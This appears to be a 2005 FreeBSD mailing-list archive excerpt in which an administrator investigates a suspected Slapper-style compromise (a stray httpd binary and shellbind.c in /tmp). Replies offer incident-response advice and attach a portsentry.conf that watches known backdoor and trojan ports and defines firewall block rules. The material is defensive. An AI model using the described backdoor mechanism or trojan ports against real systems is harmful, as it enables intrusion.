> [mailto:owner-freebsd-questions@freebsd.org] On Behalf Of Mark A.=20 > > Garcia > > Sent: Tuesday, February 08, 2005 9:57 AM > > To: Bret Walker > > Cc: freebsd-questions@freebsd.org > > Subject: Re: httpd in /tmp - Sound advice sought > >=20 > >=20 > > Bret Walker wrote: > >=20 > > >Last night, I ran chkrootkit and it gave me a warning about being=20 > > >infected with Slapper. Slapper exploits vulnerabilities in OpenSSL=20 > > >up to version 0.96d or older on Linux systems. I have only run=20 > > >0.97d. The file that set chkrootkit off was httpd which was located=20 > > >in /tmp. /tmp is always mounted rw, noexec. > > > > > >I update my packages (which are installed via ports) any time there=20 > > >is a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl=20 > > >2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a=20 > > >couple of weeks, but the only code that required it to be on was in a= =20 > > >.htaccess/SSL password protected directory. > > > > > >Tripwire didn't show anything that I noted as odd. I reexamined the= =20 > > >tripwire logs, which are e-mailed to an account off of the machine=20 > > >immediately after completion, and I don't see anything odd for the=20 > > >3/4 days before or after the date on the file. (I don't scan /tmp) > > > > > >I stupidly deleted the httpd file from /tmp, which was smaller than=20 > > >the actual apache httpd. And I don't back up /tmp. > > > > > >The only info I can find regarding this file being in /tmp pertains=20 > > >to Slapper. Could something have copied a file there? Could I have= =20 > > >done it by mistake at some point - the server's been up ~60 days,=20 > > >plenty of time for me to forget something? > > > > > >This is production box that I very much want to keep up, so I'm=20 > > >seeking some sound advice. > > > > > >Does this box need to be rebuilt? How could a file get written to=20 > > >/tmp, and is it an issue since it couldn't be executed? I run=20 > > >tripwire nightly, and haven't seen anything odd to the best of my=20 > > >recollection. I also check ipfstat -t frequently to see if any odd=20 > > >connections are happening. > > > > > >I appreciate any sound advice on this matter. > > > > > >Thanks, > > >Bret > > > > > > > > Slapper is a linux only virus. You shouldn't have to worry about it=20 > > doing harm on your freebsd machine. Seeing as the binary was in your= =20 > > tmp directory on your system, and that you might have not placed it=20 > > there, this could be a good reason for a host of other things to look= =20 > > into. The httpd binary with 96d<=3D ssl is not a virus itself, just a= =20 > > means to carry out the exploit. The slapper virus is a bunch of=20 > > c-code that is put in your tmp directory and the exploit allows one to= =20 > > compile, chmod, and execute the code, leaving open a backdoor. > >=20 > > chrootkit does scan for the comparable scalper virus which is a=20 > > freebsd cousin to the slapper (in that they attempt to exploit the=20 > > machine via the apache conduit.) > >=20 > > I would think real hard, if you did put the httpd binary in there. If= =20 > > you are sure you didn't, and you are the only one with access to the=20 > > system, then I would be very very worried. Running tripwire and=20 > > chrootkit on a periodic basis should help. Re-installing the os isn't= =20 > > your only solution, but it does give comfort knowing that after a=20 > > reinstall, and locking down the box, no one has a in on your system.=20 > > This could be overboard though. > >=20 > > You also might want to consider enabling the clean_tmp scripts. Next= =20 > > time tar up those suspicious files, a quick forensics on them can do=20 > > wonders (md5sum, timestamps, ownership, permissions.) > >=20 > > Cheers, > > -.mag > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list=20 > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to=20 > > "freebsd-questions-unsubscribe@freebsd.org" >=20 >=20 >=20 > --=20 > Redmond Militante > Software Engineer / Medill School of Journalism > FreeBSD 5.2.1-RELEASE-p10 #0: Wed Sep 29 17:17:49 CDT 2004 i386 1:30PM > up 1 day, 1:21, 2 users, load averages: 0.00, 0.04, 0.19 --=20 Redmond Militante Software Engineer / Medill School of Journalism FreeBSD 5.2.1-RELEASE-p10 #0: Wed Sep 29 17:17:49 CDT 2004 i386 2:15PM up 1 day, 2:06, 2 users, load averages: 0.07, 0.07, 0.13 --UugvWAfsgieZRqgk Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (FreeBSD) iD8DBQFCCR8Q7g+NJl/fSB0RAlWtAKCiTe/yQMBkSjR8QqGc6Gk+CaORNACfQG8k yIvZ7ETvsHbGI3+4K8y7030= =IqO2 -----END PGP SIGNATURE----- --UugvWAfsgieZRqgk-- From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 21:00:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8F6EC16A4CE for ; Tue, 8 Feb 2005 21:00:54 +0000 (GMT) Received: from merle.it.northwestern.edu (merle.it.northwestern.edu [129.105.16.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6BD0A43D49 for ; Tue, 8 Feb 2005 21:00:53 +0000 (GMT) (envelope-from r-militante@northwestern.edu) Received: (from mailnull@localhost) by merle.it.northwestern.edu (8.12.10/8.12.10) id j18L0q8N027002; Tue, 8 Feb 2005 15:00:52 -0600 (CST) Received: from merle.it.northwestern.edu (darkpossum.medill.northwestern.edu [129.105.246.24]) by merle.it.northwestern.edu via smap (V2.0) id xma025708; Tue, 8 Feb 05 15:00:33 -0600 Date: Tue, 8 Feb 2005 15:04:51 -0600 From: Redmond Militante To: Bret Walker Message-ID: <20050208210451.GB12453@darkpossum> References: <20050208202033.GA12119@darkpossum> <028401c50e1e$677e10d0$17336981@medill.northwestern.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="yVhtmJPUSI46BTXb" Content-Disposition: inline In-Reply-To: <028401c50e1e$677e10d0$17336981@medill.northwestern.edu> User-Agent: Mutt/1.4.2.1i X-Sender: redmond@darkpossum.medill.northwestern.edu X-URL: http://darkpossum.medill.northwestern.edu/gnupg.php X-PGP-Fingerprint: 2AA2 E78E A6FC 9144 3534 39A2 EE0F 8D26 5FDF 481D X-Mailman-Approved-At: Wed, 09 Feb 2005 13:45:50 +0000 Subject: Re: httpd in /tmp - Sound advice sought X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Redmond Militante List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 21:00:54 -0000 --yVhtmJPUSI46BTXb Content-Type: multipart/mixed; boundary="aVD9QWMuhilNxW9f" Content-Disposition: inline --aVD9QWMuhilNxW9f Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable ok [Tue, Feb 08, 2005 at 02:40:19PM -0600] This one time, at band camp, Bret Walker said: > Thanks. > Could you send me your conf file for portsentry so I can see how you do > it? > Bret >=20 > -----Original Message----- > From: Redmond Militante [mailto:r-militante@northwestern.edu] > Sent: Tuesday, February 08, 2005 2:21 PM > To: Bret Walker > Subject: Re: httpd in /tmp - Sound advice sought >=20 >=20 > [Tue, Feb 08, 2005 at 01:43:36PM -0600] > This one time, at band camp, Bret Walker said: >=20 > > I do read it, but not every day (weekends, especially). > > >=20 > i use logcheck to mail me the messages log every 15 mins >=20 > > Do you have a way for suspicious activity to be reported to you? > > >=20 > logcheck, and portsentry as well >=20 > > Also, I'm tarring /usr and am going to run a diff on it compared to a > > clean install. > > > > Bret > > > > -----Original Message----- > > From: Redmond Militante [mailto:r-militante@northwestern.edu] > > Sent: Tuesday, February 08, 2005 1:45 PM > > To: Bret Walker > > Subject: Re: httpd in /tmp - Sound advice sought > > > > > > hi > > > > [Tue, Feb 08, 2005 at 10:46:19AM -0600] > > This one time, at band camp, Bret Walker said: > > > > > Redmond- > > > > > > Here is the response I got from the list. > > > > > > I also found another file - shellbind.c - it's essentially this - > > > http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0073.html > > > (although phpBB has never been installed). > > > > > > I had register_globals on in PHP for a month+ because a reservation > > > system I was using required them. I now know better. We also had php >=20 > > > errors set to display for a while as bugs were being worked out. > > > > > > The owner of this file is www, so it was put in /tmp by the apache > > > daemon. I messed the file up trying to tar it, so I can't get a good > > > md5. Register globals and php file uploads are both off now. I don't > > > think the system was compromised because anything written to /tmp > > > (which is the temp dir php defaults to) could not be executed. > > > > > > Do you think we're safe to continue as is? > > > > > > > this person is telling you that slapper is nothing to worry about > > because it's a linux only virus - but if you didn't put httpd in /tmp > > then you should be worried about this situation. > > > > this is probably your call what you want to do. > > > > > Also, I would like to talk with you about what preventative measures > > > you take with herald. I know you run tripwire, but what else do you > > > do on a regular basis? > > > > > > > one thing i do is i read /var/log/messages every day. do you do that? > > > > > > > Bret > > > > > > > > > > > > -----Original Message----- > > > From: owner-freebsd-questions@freebsd.org > > > [mailto:owner-freebsd-questions@freebsd.org] On Behalf Of Mark A. > > > Garcia > > > Sent: Tuesday, February 08, 2005 9:57 AM > > > To: Bret Walker > > > Cc: freebsd-questions@freebsd.org > > > Subject: Re: httpd in /tmp - Sound advice sought > > > > > > > > > Bret Walker wrote: > > > > > > >Last night, I ran chkrootkit and it gave me a warning about being > > > >infected with Slapper. Slapper exploits vulnerabilities in OpenSSL > > > >up to version 0.96d or older on Linux systems. I have only run > > > >0.97d. The file that set chkrootkit off was httpd which was located > > > >in /tmp. /tmp is always mounted rw, noexec. > > > > > > > >I update my packages (which are installed via ports) any time there > > > >is a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl > > > >2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a > > > >couple of weeks, but the only code that required it to be on was in a >=20 > > > >.htaccess/SSL password protected directory. > > > > > > > >Tripwire didn't show anything that I noted as odd. I reexamined > > > >the > > > >tripwire logs, which are e-mailed to an account off of the machine > > > >immediately after completion, and I don't see anything odd for the > > > >3/4 days before or after the date on the file. (I don't scan /tmp) > > > > > > > >I stupidly deleted the httpd file from /tmp, which was smaller than > > > >the actual apache httpd. And I don't back up /tmp. > > > > > > > >The only info I can find regarding this file being in /tmp pertains > > > >to Slapper. Could something have copied a file there? Could I have > > > >done it by mistake at some point - the server's been up ~60 days, > > > >plenty of time for me to forget something? > > > > > > > >This is production box that I very much want to keep up, so I'm > > > >seeking some sound advice. > > > > > > > >Does this box need to be rebuilt? How could a file get written to > > > >/tmp, and is it an issue since it couldn't be executed? I run > > > >tripwire nightly, and haven't seen anything odd to the best of my > > > >recollection. I also check ipfstat -t frequently to see if any odd > > > >connections are happening. > > > > > > > >I appreciate any sound advice on this matter. > > > > > > > >Thanks, > > > >Bret > > > > > > > > > > > Slapper is a linux only virus. You shouldn't have to worry about it > > > doing harm on your freebsd machine. Seeing as the binary was in your > > > tmp directory on your system, and that you might have not placed it > > > there, this could be a good reason for a host of other things to look > > > into. The httpd binary with 96d<=3D ssl is not a virus itself, just a > > > means to carry out the exploit. The slapper virus is a bunch of > > > c-code that is put in your tmp directory and the exploit allows one to >=20 > > > compile, chmod, and execute the code, leaving open a backdoor. > > > > > > chrootkit does scan for the comparable scalper virus which is a > > > freebsd cousin to the slapper (in that they attempt to exploit the > > > machine via the apache conduit.) > > > > > > I would think real hard, if you did put the httpd binary in there. > > > If > > > you are sure you didn't, and you are the only one with access to the > > > system, then I would be very very worried. Running tripwire and > > > chrootkit on a periodic basis should help. Re-installing the os isn't >=20 > > > your only solution, but it does give comfort knowing that after a > > > reinstall, and locking down the box, no one has a in on your system. > > > This could be overboard though. > > > > > > You also might want to consider enabling the clean_tmp scripts. > > > Next > > > time tar up those suspicious files, a quick forensics on them can do > > > wonders (md5sum, timestamps, ownership, permissions.) > > > > > > Cheers, > > > -.mag > > > _______________________________________________ > > > freebsd-questions@freebsd.org mailing list > > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > > To unsubscribe, send any mail to > > > "freebsd-questions-unsubscribe@freebsd.org" > > > > > > > > -- > > Redmond Militante > > Software Engineer / Medill School of Journalism > > FreeBSD 5.2.1-RELEASE-p10 #0: Wed Sep 29 17:17:49 CDT 2004 i386 1:30PM > > up 1 day, 1:21, 2 users, load averages: 0.00, 0.04, 0.19 >=20 >=20 >=20 > -- > Redmond Militante > Software Engineer / Medill School of Journalism > FreeBSD 5.2.1-RELEASE-p10 #0: Wed Sep 29 17:17:49 CDT 2004 i386 > 2:15PM up 1 day, 2:06, 2 users, load averages: 0.07, 0.07, 0.13 --=20 Redmond Militante Software Engineer / Medill School of Journalism FreeBSD 5.2.1-RELEASE-p10 #0: Wed Sep 29 17:17:49 CDT 2004 i386 3:00PM up 1 day, 2:51, 4 users, load averages: 0.04, 0.05, 0.17 --aVD9QWMuhilNxW9f Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="portsentry.conf" Content-Transfer-Encoding: quoted-printable # PortSentry Configuration # # $Id: portsentry.conf,v 1.23 2001/06/26 15:20:56 crowland Exp crowland $ # # IMPORTANT NOTE: You CAN NOT put spaces between your port arguments. #=20 # The default ports will catch a large number of common probes # # All entries must be in quotes. ####################### # Port Configurations # ####################### # # # Some example port configs for classic and basic Stealth modes # # I like to always keep some ports at the "low" end of the spectrum. # This will detect a sequential port sweep really quickly and usually # these ports are not in use (i.e. tcpmux port 1) # # ** X-Windows Users **: If you are running X on your box, you need to be s= ure # you are not binding PortSentry to port 6000 (or port 2000 for OpenWindows= users).=20 # Doing so will prevent the X-client from starting properly.=20 # # These port bindings are *ignored* for Advanced Stealth Scan Detection Mod= e. # # Un-comment these if you are really anal: #TCP_PORTS=3D"1,7,9,11,15,70,79,80,109,110,111,119,138,139,143,512,513,514,= 515,540,635,1080,1524,2000,2001,4000,4001,5742,6000,6001,6667,12345,12346,2= 0034,27665,30303,32771,32772,32773,32774,31337,40421,40425,49724,54320" #UDP_PORTS=3D"1,7,9,66,67,68,69,111,137,138,161,162,474,513,517,518,635,640= ,641,666,700,2049,31335,27444,34555,32770,32771,32772,32773,32774,31337,543= 21" # # Use these if you just want to be aware: TCP_PORTS=3D"1,11,15,79,111,119,143,540,635,1080,1524,2000,5742,6667,12345,= 12346,20034,27665,31337,32771,32772,32773,32774,40421,49724,54320" UDP_PORTS=3D"1,7,9,69,161,162,513,635,640,641,700,37444,34555,31335,32770,3= 2771,32772,32773,32774,31337,54321" # # Use these for just bare-bones #TCP_PORTS=3D"1,11,15,110,111,143,540,635,1080,1524,2000,12345,12346,20034,= 32771,32772,32773,32774,49724,54320" #UDP_PORTS=3D"1,7,9,69,161,162,513,640,700,32770,32771,32772,32773,32774,31= 337,54321" ########################################### # Advanced Stealth Scan Detection Options # ########################################### # # This is the number of ports you want PortSentry to monitor in Advanced mo= de. # Any port *below* this number will be monitored. Right now it watches=20 # everything below 1024.=20 #=20 # On many Linux systems you cannot bind above port 61000. This is because # these ports are used as part of IP masquerading. I don't recommend you # bind over this number of ports. Realistically: I DON'T RECOMMEND YOU MONI= TOR=20 # OVER 1024 PORTS AS YOUR FALSE ALARM RATE WILL ALMOST CERTAINLY RISE. You'= ve been # warned! Don't write me if you have have a problem because I'll only tell # you to RTFM and don't run above the first 1024 ports. # # ADVANCED_PORTS_TCP=3D"1024" ADVANCED_PORTS_UDP=3D"1024" # # This field tells PortSentry what ports (besides listening daemons) to # ignore. This is helpful for services like ident that services such=20 # as FTP, SMTP, and wrappers look for but you may not run (and probably=20 # *shouldn't* IMHO).=20 # # By specifying ports here PortSentry will simply not respond to # incoming requests, in effect PortSentry treats them as if they are # actual bound daemons. The default ports are ones reported as=20 # problematic false alarms and should probably be left alone for # all but the most isolated systems/networks. # # Default TCP ident and NetBIOS service ADVANCED_EXCLUDE_TCP=3D"113,139" # Default UDP route (RIP), NetBIOS, bootp broadcasts. ADVANCED_EXCLUDE_UDP=3D"520,138,137,67" ###################### # Configuration Files# ###################### # # Hosts to ignore IGNORE_FILE=3D"/usr/local/etc/portsentry.ignore" # Hosts that have been denied (running history) HISTORY_FILE=3D"/usr/local/etc/portsentry.history" # Hosts that have been denied this session only (temporary until next resta= rt) BLOCKED_FILE=3D"/usr/local/etc/portsentry.blocked" ############################## # Misc. Configuration Options# ############################## # # DNS Name resolution - Setting this to "1" will turn on DNS lookups # for attacking hosts. Setting it to "0" (or any other value) will shut # it off. RESOLVE_HOST =3D "1" ################### # Response Options# ################### # Options to dispose of attacker. Each is an action that will=20 # be run if an attack is detected. If you don't want a particular # option then comment it out and it will be skipped. # # The variable $TARGET$ will be substituted with the target attacking # host when an attack is detected. The variable $PORT$ will be substituted # with the port that was scanned.=20 # ################## # Ignore Options # ################## # These options allow you to enable automatic response # options for UDP/TCP. This is useful if you just want # warnings for connections, but don't want to react for =20 # a particular protocol (i.e. you want to block TCP, but # not UDP). To prevent a possible Denial of service attack # against UDP and stealth scan detection for TCP, you may=20 # want to disable blocking, but leave the warning enabled.=20 # I personally would wait for this to become a problem before # doing though as most attackers really aren't doing this. # The third option allows you to run just the external command # in case of a scan to have a pager script or such execute # but not drop the route. This may be useful for some admins # who want to block TCP, but only want pager/e-mail warnings # on UDP, etc. # #=20 # 0 =3D Do not block UDP/TCP scans. # 1 =3D Block UDP/TCP scans. # 2 =3D Run external command only (KILL_RUN_CMD) BLOCK_UDP=3D"1" BLOCK_TCP=3D"1" ################### # Dropping Routes:# ################### # This command is used to drop the route or add the host into # a local filter table.=20 # # The gateway (333.444.555.666) should ideally be a dead host on=20 # the *local* subnet. On some hosts you can also point this at # localhost (127.0.0.1) and get the same effect. NOTE THAT # 333.444.555.66 WILL *NOT* WORK. YOU NEED TO CHANGE IT!! # # ALL KILL ROUTE OPTIONS ARE COMMENTED OUT INITIALLY. Make sure you # uncomment the correct line for your OS. If you OS is not listed # here and you have a route drop command that works then please # mail it to me so I can include it. ONLY ONE KILL_ROUTE OPTION # CAN BE USED AT A TIME SO DON'T UNCOMMENT MULTIPLE LINES. # # NOTE: The route commands are the least optimal way of blocking # and do not provide complete protection against UDP attacks and # will still generate alarms for both UDP and stealth scans. I # always recommend you use a packet filter because they are made # for this purpose. # # Generic=20 #KILL_ROUTE=3D"/sbin/route add $TARGET$ 333.444.555.666" # Generic Linux=20 #KILL_ROUTE=3D"/sbin/route add -host $TARGET$ gw 333.444.555.666" # Newer versions of Linux support the reject flag now. This=20 # is cleaner than the above option. #KILL_ROUTE=3D"/sbin/route add -host $TARGET$ reject" # Generic BSD (BSDI, OpenBSD, NetBSD, FreeBSD) #KILL_ROUTE=3D"/sbin/route add $TARGET$ 333.444.555.666" # Generic Sun=20 #KILL_ROUTE=3D"/usr/sbin/route add $TARGET$ 333.444.555.666 1" # NEXTSTEP #KILL_ROUTE=3D"/usr/etc/route add $TARGET$ 127.0.0.1 1" # FreeBSD #KILL_ROUTE=3D"route add -net $TARGET$ -netmask 255.255.255.255 127.0.0.1 -= blackhole" # Digital UNIX 4.0D (OSF/1 / Compaq Tru64 UNIX) #KILL_ROUTE=3D"/sbin/route add -host -blackhole $TARGET$ 127.0.0.1" # Generic HP-UX #KILL_ROUTE=3D"/usr/sbin/route add net $TARGET$ netmask 255.255.255.0 127.0= .0.1" ## # Using a packet filter is the PREFERRED. The below lines # work well on many OS's. Remember, you can only uncomment *one* # KILL_ROUTE option. ## # ipfwadm support for Linux #KILL_ROUTE=3D"/sbin/ipfwadm -I -i deny -S $TARGET$ -o" # # ipfwadm support for Linux (no logging of denied packets) #KILL_ROUTE=3D"/sbin/ipfwadm -I -i deny -S $TARGET$" # # ipchain support for Linux #KILL_ROUTE=3D"/sbin/ipchains -I input -s $TARGET$ -j DENY -l" # # ipchain support for Linux (no logging of denied packets) #KILL_ROUTE=3D"/sbin/ipchains -I input -s $TARGET$ -j DENY" # # iptables support for Linux #KILL_ROUTE=3D"/usr/local/bin/iptables -I INPUT -s $TARGET$ -j DROP" # # For those of you running FreeBSD (and compatible) you can # use their built in firewalling as well.=20 # #KILL_ROUTE=3D"/sbin/ipfw add 1 deny all from $TARGET$:255.255.255.255 to a= ny" # # # For those running ipfilt (OpenBSD, etc.) # NOTE THAT YOU NEED TO CHANGE external_interface TO A VALID INTERFACE!! # #KILL_ROUTE=3D"/bin/echo 'block in log on external_interface from $TARGET$/= 32 to any' | /sbin/ipf -f -" ############### # TCP Wrappers# ############### # This text will be dropped into the hosts.deny file for wrappers # to use. There are two formats for TCP wrappers: # # Format One: Old Style - The default when extended host processing # options are not enabled. # KILL_HOSTS_DENY=3D"ALL: $TARGET$" # Format Two: New Style - The format used when extended option # processing is enabled. You can drop in extended processing # options, but be sure you escape all '%' symbols with a backslash # to prevent problems writing out (i.e. \%c \%h ) # #KILL_HOSTS_DENY=3D"ALL: $TARGET$ : DENY" ################### # External Command# ################### # This is a command that is run when a host connects, it can be whatever # you want it to be (pager, etc.). This command is executed before the=20 # route is dropped or after depending on the KILL_RUN_CMD_FIRST option below # # # I NEVER RECOMMEND YOU PUT IN RETALIATORY ACTIONS AGAINST THE HOST SCANNIN= G=20 # YOU! # # TCP/IP is an *unauthenticated protocol* and people can make scans appear = out=20 # of thin air. The only time it is reasonably safe (and I *never* think it = is=20 # reasonable) to run reverse probe scripts is when using the "classic" -tcp= mode.=20 # This mode requires a full connect and is very hard to spoof. # # The KILL_RUN_CMD_FIRST value should be set to "1" to force the command=20 # to run *before* the blocking occurs and should be set to "0" to make the= =20 # command run *after* the blocking has occurred.=20 # #KILL_RUN_CMD_FIRST =3D "0" # # #KILL_RUN_CMD=3D"/some/path/here/script $TARGET$ $PORT$" ##################### # Scan trigger value# ##################### # Enter in the number of port connects you will allow before an=20 # alarm is given. The default is 0 which will react immediately. # A value of 1 or 2 will reduce false alarms. Anything higher is=20 # probably not necessary. This value must always be specified, but # generally can be left at 0.=20 # # NOTE: If you are using the advanced detection option you need to # be careful that you don't make a hair trigger situation. Because # Advanced mode will react for *any* host connecting to a non-used # below your specified range, you have the opportunity to really=20 # break things. (i.e someone innocently tries to connect to you via=20 # SSL [TCP port 443] and you immediately block them). Some of you # may even want this though. Just be careful. # SCAN_TRIGGER=3D"0" ###################### # Port Banner Section# ###################### # # Enter text in here you want displayed to a person tripping the PortSentry. # I *don't* recommend taunting the person as this will aggravate them. # Leave this commented out to disable the feature # # Stealth scan detection modes don't use this feature # #PORT_BANNER=3D"** UNAUTHORIZED ACCESS PROHIBITED *** YOUR CONNECTION ATTEM= PT HAS BEEN LOGGED. GO AWAY." # EOF --aVD9QWMuhilNxW9f-- --yVhtmJPUSI46BTXb Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (FreeBSD) iD8DBQFCCSly7g+NJl/fSB0RAnDjAKDF8IiAJTTRfJbENPOYBYvPbRs12ACfThP4 rLmJ3VTO3MRyESYoXLwI1d8= =2/Yn -----END PGP SIGNATURE----- --yVhtmJPUSI46BTXb-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 13:49:51 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4FCB616A4CE for ; Wed, 9 Feb 2005 13:49:51 +0000 (GMT) Received: from mail.orangexl.nl (mail.orangexl.nl [194.109.66.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9BE3D43D48 for ; Wed, 9 Feb 2005 13:49:50 +0000 (GMT) (envelope-from info@orangexl.com) Received: from OrangeXL (cp262152-a.roose1.nb.home.nl [84.26.101.188]) (AUTH: LOGIN postmaster@orangexl.com) by mail.orangexl.nl with esmtp; Wed, 09 Feb 2005 14:49:49 +0100 From: "Sander Holthaus - Orange XL" To: freebsd-questions@freebsd.org Date: Wed, 9 Feb 2005 14:49:56 +0100 Organization: Orange XL Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 In-Reply-To: <5.1.0.14.2.20050209083848.04680a70@pop.uni-mart.com> Thread-Index: AcUOrQ9fLMLQ7cWTQquUYC+cXi1OJAAAQZvw cc: 'Jeff Maxwell' Subject: RE: security updates X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 13:49:51 -0000 > I got this message today from cron, apparently my security > update failed. > > Any Idea how to resolve this. I am also get a similar message > on a 5.3 box. > > > Fetching updates signature... > fetch: http://update.daemonology.net/i386/4.9/updates.sig: > Not FoundError fetching updates > > > Jeff Maxwell > POS Department Manager > Uni-Marts, LLC > Voice 570-829-0888 Ext. 421 > Fax 570-829-4390 >From their main site (http://update.daemonology.net/): Due to hardware failures, update.daemonology.net is currently unavailable. FreeBSD Update will be back online sometime soon Kind Regards, Sander Holthaus From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 13:50:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F075916A4CE for ; Wed, 9 Feb 2005 13:50:25 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 824D943D1D for ; Wed, 9 Feb 2005 13:50:25 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [IPv6???1] (localhost.daemonsecurity.com [127.0.0.1]) by top.daemonsecurity.com (Postfix) with ESMTP id E27D7FD01F; Wed, 9 Feb 2005 14:50:23 +0100 (CET) Message-ID: <420A1519.5020806@locolomo.org> Date: Wed, 09 Feb 2005 14:50:17 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: Jeff Maxwell References: <5.1.0.14.2.20050209083848.04680a70@pop.uni-mart.com> In-Reply-To: <5.1.0.14.2.20050209083848.04680a70@pop.uni-mart.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: security updates X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 13:50:26 -0000 Jeff Maxwell wrote: > I got this message today from cron, apparently my security update failed. > > Any Idea how to resolve this. I am also get a similar message on a 5.3 box. > > > Fetching updates signature... > fetch: http://update.daemonology.net/i386/4.9/updates.sig: Not > FoundError fetching updates It appears that you are running a custom update script, would help if you published it. And try run it by hand, it should be located in /etc/periodic/security or similar. Then send whatever debug info you can deduce from the output. Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 13:56:53 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D813716A4CE for ; Wed, 9 Feb 2005 13:56:53 +0000 (GMT) Received: from ctb-mesg6.saix.net (ctb-mesg6.saix.net [196.25.240.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 60F2E43D2D for ; Wed, 9 Feb 2005 13:56:53 +0000 (GMT) (envelope-from savage@savage.za.org) Received: from netsphere.cenergynetworks.com (wblv-146-208-196.telkomadsl.co.za [165.146.208.196]) by ctb-mesg6.saix.net (Postfix) with ESMTP id 67E35B308 for ; Wed, 9 Feb 2005 15:56:48 +0200 (SAST) Received: from pmx.ournet.co.za ([198.19.0.73] helo=netsphere.cenergynetworks.com) by netsphere.cenergynetworks.com with smtp (Exim 4.41) id 1CysKm-000OL5-rM for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 15:56:48 +0200 Received: from [192.168.1.10] (helo=netphobia) by netsphere.cenergynetworks.com with smtp (Exim 4.41) id 1CysKl-000OL1-rm for freebsd-questions@freebsd.org; Wed, 09 Feb 2005 15:56:47 +0200 Message-ID: <002101c50eaf$6f9a3550$0a01a8c0@ops.cenergynetworks.com> From: "Chris Knipe" To: References: <004901c50e38$ea4958c0$0a01a8c0@ops.cenergynetworks.com> <00d701c50ea2$fc9cc330$33a11ad9@office.arax.md> Date: Wed, 9 Feb 2005 15:58:30 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2527 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 X-Broken-Reverse-DNS: 192.168.1.10 X-PMX-Version: 4.7.0.111621, Antispam-Engine: 2.0.2.0, Antispam-Data: 2005.2.8.1 Subject: Re: php4-extentions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Chris Knipe List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 13:56:54 -0000 TY. ----- Original Message ----- From: "Cezar Fistik" To: Sent: Wednesday, February 09, 2005 2:29 PM Subject: Re: php4-extentions > Hi, > > Try 'make config' in php-extesions port's directory. > > regards, > Cezar > > ----- Original Message ----- > From: "Chris Knipe" > To: > Sent: Wednesday, February 09, 2005 1:50 AM > Subject: php4-extentions > > >> ===> Vulnerability check disabled, database not found >> ===> Found saved configuration for php4-extensions-1.0 >> ===> Extracting for php4-extensions-1.0 >> >> Where's the configuration saved? I need to reconfigure it.. >> >> -- >> Chris. >> 